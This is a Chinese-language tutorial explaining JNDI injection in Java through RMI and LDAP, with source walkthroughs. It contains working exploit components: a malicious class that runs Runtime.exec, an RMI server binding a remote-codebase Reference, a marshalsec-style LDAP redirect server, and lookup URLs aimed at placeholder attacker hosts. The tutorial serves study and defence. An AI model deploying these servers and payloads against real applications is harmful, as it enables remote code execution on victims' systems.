JNDI

前提知识

RMI动态加载恶意类

RMI介绍

RMI,远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。

RMI分为三个主体部分:

Client-客户端:客户端调用服务端的方法

Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。

Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

RMI使用

Server部署:

Server向Registry注册远程对象,远程对象绑定在一个//hostL:port/objectname上,形成一个映射表(Service-Stub)。

Client调用:

Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。

Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程

RMI服务器

Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。

列举几个函数

bind:将远程对象绑定到注册中心

rebind:重新绑定一个远程对象

unbind:取消一个过程对象的绑定

list:列出注册中心绑定对象

lookup:在注册中心获取一个远程对象的存根

RMI利用

RMI远程加载代码的过程,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase(就算是一个地址,指定jvm从哪个地方去搜集类,和ClassPath,jdbc的url一样,通常是远程的URL,比如http,ftp等)中的类,所以只要控制了codebase,就可以加载任何恶意类

但是官方注意到后,在后面的版本(6u45、7u21,8u121以后)加了限制(java.rmi.server.useCodebaseOnly默认配置已经改为了true。),满足如下条件的才可以攻击

安装并配置了SecurityManager,(需要自己设置为trust)

java.rmi.server.useCodebaseOnly 配置为 flase,如果为 true,则将禁用自动加载类文件,不允许远程加载对象

0x00 - JNDI 是什么?

JNDI 名为 Java命名和目录接口,具体概念比较复杂难懂,具体细节不用了解,简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务例如 LDAP、RMI 等

JNDI提供了两个服务,命名服务和目录服务。

命名服务将一个对象和一个名称绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。

目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。

对比一下命名服务和目录服务,其实命名服务就是绑定对象,而目录服务就是绑定了对象的属性。在JNDI中,命名服务和目录服务是一起结合提供的,最容易理解的一个例子就是RMI。

0x01. JNDI 获取并调用远程方法

想要实现JNDI,我们首先得需要一个容器,然后我们将一个对象绑定到容器里面。(这里结合RMI来实现一个简单的示例)

1、创建一个远程调用对象

首先创建一个接口,继承Remote接口:

1
2
3
public interface RemoteMethod extends Remote {
    public void sayBye() throws RemoteException;
}

 创建一个远程对象,实现该接口,并继承UnicastRemoteObject类:

1
2
3
4
5
6
7
8
9
10
11
12
class test extends UnicastRemoteObject implements RemoteMethod {
    public String name;
    public int age;
    public test(String name,int age) throws RemoteException {
        super();
        this.age = age;
        this.name = name;
    }
    public void sayBye(){
        System.out.println("say bye!!");
    }
}

2、开启RMI服务端

创建一个RMI服务端,并将一个远程对象绑定到注册表中

1
2
3
4
5
6
7
public class Server {
    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
        test test = new test("test",22);
        LocateRegistry.createRegistry(1099);
        Naming.bind("test",test);
    }
}

3、利用JNDI远程获取对象

我们想要使用JNDI来远程获取对象,首先得需要获取一个容器,我们先看如下实例代码:

1
2
3
4
5
6
7
8
9
10
public class jndi {
    public static void main(String[] args) throws RemoteException, NamingException {
        Properties env = new Properties();
      env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        RemoteMethod remoteMethod = (RemoteMethod) ctx.lookup("test");
        remoteMethod.sayBye();
    }
}

Context.PROVIDER_URL参数表示指定一个远程加载的地址,例如上面的rmi://127.0.0.1:1099,当我们通过lookup函数进行查找对象的时候,其实就是在rmi://127.0.0.1:1099/test这个里面进行的查找。
​ 最后远程调用方法之后,会在服务端执行代码,将结果返回给JNDI客户端。

0x02.JNDI注入漏洞

通过上面的这个例子,我们可以知道,通过JNDI可以远程加载对象。除了通过上面的Context.PROVIDER_URL来设置URL以外,我们可以直接在lookup参数指定URL,例如lookup(“rmi://127.0.0.1:1099/test”),由于JNDI存在一个动态地址转换协议,也就是说当我们在lookup上指定一个URL的时候,就会优先于Context.PROVIDER_URL的设置进行加载。

如果这个lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类。但是这里又会遇到一个问题,就是怎么进行攻击呢?

当我们指定一个恶意的URL地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者。当然,如果受害者内部存在漏洞组件存在反序列化漏洞的话,我们可以构造恶意的序列化对象,返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞;如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。

0x03.Reference类

为了解决上面这个问题,我们引入了一个Reference类,这个类表示对存在于命名或者目录系统以外的对象的引用。简单理解一下,就是如果RMI服务端返回的是一个Reference对象或者其子类对象的话,当客户端获取远程对象Stub的时候,我们就可以指定客户端从一个具体的服务端上去加载class文件从而完成这个类的实例化。

 Reference类实例化需要三个参数:

1
2
3
className:表示远程加载时所使用的类名
classFactory:加载class中需要实例类的名称
classFactoryLocation:指定远程加载类的地址

例如我们创建如下Reference类实例,并将其绑定到注册表中:

1
2
3
4
5
6
7
8
public class Server {
    public static void main(String[] args) throws NamingException, RemoteException, MalformedURLException, AlreadyBoundException {
        Reference reference = new Reference("111","evil","http://remoteurl:8080/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        LocateRegistry.createRegistry(1099);
        Naming.bind("test",referenceWrapper);
    }
}

然后编写一个evil.java恶意类,编译之后,将evil.class上传到服务器上:

1
2
3
4
5
6
7
8
9
10
import java.io.IOException;
public class evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();  
        }
    }
}

之后使用JNDI来远程获取这个绑定的对象,最终会在本地弹出计算器

1
2
3
4
5
6
7
public static void main(String[] args) throws NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        ctx.lookup("test");
    }

当有客户端通过 lookup("obj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 ClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/ClassName.class 动态加载 classes 并调用 Classfactory 的构造函数。
由此说明在获取 RMI 远程对象时,可以动态地加载外部代码进行对象类型实例化,而 JNDI 同样具有访问 RMI 远程对象的能力,只要其查找参数即 lookup() 函数的参数值可控,那么就有可能促使程序去加载和自信部署在攻击者服务器上的恶意代码。

0x04.动态协议转换

在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 等):

1
2
3
4
5
6
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);

而在调用 lookup() 或者 search() 时,可以使用带 URL 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URL格式去转换上下文环境访问 LDAP 服务上的绑定对象:

1
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

这里主要实现代码在这:

1
2
3
4
5
public Object lookup(String name) throws NamingException {
//getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象
//然后在对应协议中去lookup搜索,我们进入lookup函数
return getURLOrDefaultInitCtx(name).lookup(name);
}

getURLOrDefaultInitCtx() 函数的具体代码实现为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected Context getURLOrDefaultInitCtx(Name paramName) throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
if (paramName.size() > 0) {
String str1 = paramName.get(0);
String str2 = getURLScheme(str1); // 尝试解析 URI 中的协议
if (str2 != null) {
// 如果存在 Schema 协议,则尝试获取其对应的上下文环境
Context localContext = NamingManager.getURLContext(str2, this.myProps);
if (localContext != null) {
return localContext;
}
}
}
return getDefaultInitCtx();
}

但第一次调用 lookup() 函数的时候,会对上下文环境进行一个初始化,这时候代码会对 paramName 参数值进行一个 URL 解析,如果 paramName 包含一个特定的 Schema 协议,代码则会使用相应的工厂去初始化上下文环境,这时候不管之前配置的工厂环境是什么,这里都会被动态地对其进行替换

这里有几个坑需要注意一下:

1、首先就是jdk的版本,高版本的jdk做了限制,因此尽量使用jkd1.7版本

2、恶意类中不要带package包名,否则可能会报错

我们梳理一下整个调用流程。首先我们创建了一个Reference实例对象,这三个参数表示的意思为:当远程加载对象之后,会先从本地找111.class文件是否存在,如果不存在,则从远程服务端http://remoteurl:8080/中查找evil.class文件。接下来使用了ReferenceWrapper来包裹Reference是,原因是远程对象需要继承UnicastRemoteObject类,而Reference类并没有对该类进行继承,因此我们需要封装一下,跟进ReferenceWrapper类,可以发现其继承了UnicastRemoteObject类:

图片

对于JNDI注入漏洞,我们的攻击方式如下:(利用RMI)

1、在存在注入的地方利用RMI远程加载,指向恶意的URL

2、我们在恶意的URL上搭建一个RMI服务,并绑定一个Reference对象,并指定恶意类的加载路径

3、在服务端上放置恶意类编译后的class文件

最后进行攻击流程的总结:

  1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URL为 rmi://evil.com:1099/refObj;
  2. 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/
  3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 想绑定的 ReferenceWrapper 对象(Reference(“EvilObject”, “EvilObject”, “http://realevil.com/“));
  4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://realevil.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://realevil.com/EvilObject.class;
  5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;
  6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行

0x05.LDAP-JNDI注入

LDAP一般指轻型目录访问协议,可以把它理解成存储数据的数据库。和其他数据库一样,LDAP也是有client端和server端。server端是用来存放资源,client端用来操作增删改查等操作

因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制

需要unboundid-ldapsdk的依赖:

1
2
3
4
5
6
7
    <dependencies>
    <dependency>
        <groupId>com.unboundid</groupId>
        <artifactId>unboundid-ldapsdk</artifactId>
        <version>3.1.1</version>
    </dependency>
    </dependencies>

server是参考marshalsec,修改得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

client端

1
2
3
4
5
6
7
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/test");
    }}

恶意类

1
2
3
4
5
public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

0x06.代码调试

具体的代码调试实现参考这篇文章

https://blog.csdn.net/weixin_54648419/article/details/123221292

从Server端解析传入的URL,直接来到RegistryContexr#lookup方法

图片

this.registry仍然是RegistryImpl_Stub,执行lookup方法获取的是一个ReferenceWrapper_Stub对象

图片

RegistryContext#decodeObject方法中会根据这个ReferenceWrapper_Stub对象获取Reference对象

图片

getReference方法,发现又调用了UnicastRef#invoke ⽅法

图片

相当于进⾏了⼀次远程⽅法调⽤

图片

图片

这里的参数正好对应着 RMI 服务端中的 ReferenceWrapper#getReference ⽅法(由ReferenceWrapper 实现的 RemoteReference 接⼝)

图片

于是这次远程⽅法调⽤的结果就是返回了远程 ReferenceWrpper 包装的 Reference 对象

图片

因为条件运算符前面成立,返回前面得表达式,继续跟进到 NamingManager#getObjectInstance ⽅法,跟到NamingManager##getObjectFactoryFromReference方法获取factory实例

跟进发现首先进行本地加载,加载失败以后,再从codebase加载factory

图片

其中,下面的LoadClass加载方式为 URLClassLoader,成功加载执行了恶意代码,最后返回factory实例

图片